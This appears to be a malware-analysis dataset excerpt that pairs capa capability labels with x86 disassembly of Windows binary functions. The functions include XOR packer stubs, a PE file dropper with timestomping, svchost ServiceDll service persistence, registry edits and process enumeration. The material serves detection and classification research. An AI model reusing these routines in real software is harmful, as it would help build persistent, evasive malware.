joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ccc8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x46cd22
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.0046ccb8
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.0045c0b0
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.0045bcb0
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cd29
lea eax, [ebp - 4]
call fcn.004040b4
ret

Function at 0x4705a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4706da
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00415794
mov eax, dword [ebp - 4]
cmp byte [eax + 0x30], 2
jne 0x47061c
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x47061c
lea ecx, [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040804c
mov edx, dword [ebp - 0x14]
mov ebx, dword [0x477704]
mov ebx, dword [ebx]
mov eax, 0x4706f0
call ebx
dec eax
jne 0x47061c
mov ebx, 1
jmp 0x47061e
xor ebx, ebx
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
sub eax, ebx
jl 0x4706bf
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ebx
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1c]
call fcn.0046846c
test al, al
jne 0x4706b3
mov eax, dword [ebp - 4]
call fcn.00470594
mov ebx, eax
lea ecx, [ebp - 0x20]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x20]
lea eax, [ebx + 0x1c]
call fcn.00404108
xor edx, edx
push ebp
push 0x4706a1
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov al, byte [eax + 0x30]
test al, al
je 0x470697
mov edx, eax
mov ecx, ebx
mov eax, dword [ebp - 4]
call fcn.004709b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4706b3
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x470636
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4706e1
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.004040d8
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x35966e8f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x318f7cfa
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 1
test eax, eax
je 0x401023
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebp
ret

Function at 0x401030
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push edi
mov eax, dword [ebp + 8]
mov byte [eax], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x128]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x12c], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40108d
xor eax, eax
jmp 0x401139
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4010d1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x124], eax
jne 0x4010bd
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x130], eax
jmp 0x4010d1
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4010a1
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40111c
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x130]
jne 0x401108
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x40111c
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4010e5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
test eax, eax
je 0x401137
mov eax, 1
jmp 0x401139
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
jmp 0x4011c8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x401222
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
jmp 0x4011e9
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 8
jge 0x401213
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x401209
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, 0xedb88320
mov dword [ebp - 4], ecx
jmp 0x401211
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x4011e0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x42cd40], ecx
jmp 0x4011bf
mov esp, ebp
pop ebp
ret
Function at 0x401410
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x104]
push edx
call fcn.00401320
add esp, 4
push 0x104
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x42c934
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4014a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
pop ebp
ret
Function at 0x402050
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404210
push 0x4035a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
ja case.default.0x402094
mov ecx, dword [ebp - 0x28]
jmp dword [ecx*4 + 0x402208]
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je case.0x402094.1
jmp case.default.0x402094
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4020e9
jmp case.default.0x402094
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jbe 0x40215d
cmp dword [ebp - 0x2c], 2
jbe 0x402103
cmp dword [ebp - 0x2c], 4
je 0x402138
jmp 0x40215d
mov ecx, dword [ebp + 0x18]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402136
mov dword [ebp - 0x1c], 1
jmp 0x40215d
push 4
lea eax, [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40215d
mov dword [ebp - 0x1c], 1
jmp case.default.0x402094
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40217e
jmp case.default.0x402094
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402197
mov dword [ebp - 0x1c], 1
jmp case.default.0x402094
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4021b8
jmp case.default.0x402094
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x402094
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004021df
jmp 0x4021f4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402250
Capabilities:
Create directory
Get common file path
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jae 0x4022e9
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._temp
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004014a0
add esp, 4
and eax, 0xff
and eax, eax
jne 0x4022be
push str.c:_temp
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 0xc]
push eax
push 0x42ca90
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [ebp + 0xc]
push ecx
push str.TEMP
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.004014a0
add esp, 4
and eax, 0xff
test eax, eax
jne 0x40230a
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402320
Capabilities:
Move file
Parse pe header
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
push edi
mov eax, dword [str.BBPP_5___BfW_THWPHTTVHWUWfffffffffffffffffffffffffffffffffffff]
add eax, 0x600
mov dword [ebp - 0x338], eax
mov byte [ebp - 0x210], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x330]
push ecx
push 0x104
call fcn.00402250
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [ebp - 0x330]
push edx
push str._s_d.gho
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x4023bf
xor eax, eax
jmp 0x402544
mov dword [ebp - 0x218], 0x5a4d
mov dword [ebp - 0x214], 0x4550
push 0
lea edx, [ebp - 0x22c]
push edx
mov eax, dword [str.BBPP_5___BfW_THWPHTTVHWUWfffffffffffffffffffffffffffffffffffff]
mov ecx, dword [eax + 0x5fc]
push ecx
mov edx, dword [ebp - 0x338]
push edx
mov eax, dword [ebp - 0x334]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x22c]
push edx
push 2
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0x3c]
push eax
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x22c]
push edx
push 4
lea eax, [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10
push 0
lea edx, [ebp - 0x228]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x228], 0x7d5
mov word [ebp - 0x226], 7
mov word [ebp - 0x222], 0x10
mov word [ebp - 0x220], 0x14
mov word [ebp - 0x21e], 0
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea edx, [ebp - 0x340]
push edx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [ebp - 0x340]
push ecx
push 0
lea edx, [ebp - 0x340]
push edx
mov eax, dword [ebp - 0x334]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
test eax, eax
jne 0x40251f
lea ecx, [ebp - 0x104]
push ecx
push 0x42caa8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40253f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea edx, [ebp - 0x104]
push edx
call fcn.00401000
add esp, 4
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402550
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov dword [ebp - 0x820], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
mov ecx, dword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402597
xor eax, eax
jmp 0x402749
mov dword [ebp - 4], 0x800
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0x42caac
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4025d1
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x81c], 0
mov byte [ebp - 0x818], 0
mov byte [ebp - 0x82c], 0
xor ecx, ecx
mov dword [ebp - 0x82b], ecx
mov dword [ebp - 0x827], ecx
mov byte [ebp - 0x823], cl
push 6
lea edx, [ebp - 0x82c]
push edx
call fcn.00401140
add esp, 8
lea eax, [ebp - 0x814]
mov dword [ebp - 8], eax
jmp 0x40262d
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_strchr
add esp, 8
add eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
movsx eax, byte [edx]
test eax, eax
je 0x402657
lea ecx, [ebp - 0x82c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402655
mov byte [ebp - 0x818], 1
jmp 0x402657
jmp 0x402619
mov eax, dword [ebp - 0x818]
and eax, 0xff
test eax, eax
jne 0x402668
jmp 0x402678
mov byte [ebp - 0x818], 0
mov ecx, 1
test ecx, ecx
jne 0x4025fd
lea edx, [ebp - 0x82c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x82b], 0
lea eax, [ebp - 0x82c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
push eax
lea ecx, [ebp - 0x82c]
push ecx
mov edx, dword [ebp - 4]
lea eax, [ebp + edx - 0x815]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x82c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 4]
lea eax, [edx + eax + 1]
push eax
lea ecx, [ebp - 0x814]
push ecx
push 7
push 0
push 0x42cab4
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x818]
and ecx, 0xff
test ecx, ecx
jne 0x402743
lea edx, [ebp - 0x82c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x820], eax
lea ecx, [ebp - 0x82c]
push ecx
mov edx, dword [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x820]
mov esp, ebp
pop ebp
ret
Function at 0x402750
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
push 0
push 0x42cabc
push 0
push 2
mov eax, dword [ebp + 0x1c]
push eax
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402921
mov ecx, dword [ebp + 8]
push ecx
push 0x42caec
lea edx, [ebp - 0x50c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push str.Description
lea edx, [ebp - 0x50c]
push edx
push 0x80000002
call fcn.00402050
add esp, 0x1c
cmp dword [ebp + 0x20], 0
je 0x402827
mov eax, dword [ebp + 0x20]
movsx ecx, byte [eax]
test ecx, ecx
je 0x402827
push 1
mov edx, dword [ebp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 0x20]
push eax
push 1
push str.UpdateCrc
lea ecx, [ebp - 0x50c]
push ecx
push 0x80000002
call fcn.00402050
add esp, 0x1c
push 0x104
push 0
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x42d140], 0
jne 0x402853
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x42d140], eax
push 0x104
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [0x42d140]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
push str.Module
lea ecx, [ebp - 0x50c]
push ecx
push 0x80000002
call fcn.00402050
add esp, 0x1c
push str.Parameters
lea edx, [ebp - 0x50c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 2
push str.ServiceDll
lea edx, [ebp - 0x50c]
push edx
push 0x80000002
call fcn.00402050
add esp, 0x1c
push 1
push 0
push 0x42cb4c
push 1
push str.ServiceMain
lea eax, [ebp - 0x50c]
push eax
push 0x80000002
call fcn.00402050
add esp, 0x1c
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.00402320
add esp, 4
test eax, eax
jne 0x402921
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4029e0
Capabilities:
Delete service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push edi
mov byte [ebp - 0x28], 0
mov ecx, 7
or eax, eax
lea edi, [ebp - 0x27]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x68], 0
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x67]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 4], 0
push 0xa
lea eax, [ebp - 0x28]
push eax
call fcn.00401140
add esp, 8
mov dword [ebp - 0x34], 0
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
lea edx, [ebp - 0x28]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], 0x42d744
lea eax, [ebp - 0x28]
push eax
push str.Globalki_sll
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x68]
push edx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
push 2
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x402a94
push 0x3a98
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x402a90
cmp dword [ebp - 8], 0
jne 0x402a94
mov byte [ebp - 4], 1
mov eax, dword [ebp - 4]
and eax, 0xff
test eax, eax
jne 0x402ace
lea ecx, [ebp - 0x84]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp dword [ebp - 0x80], 1
je 0x402ac4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret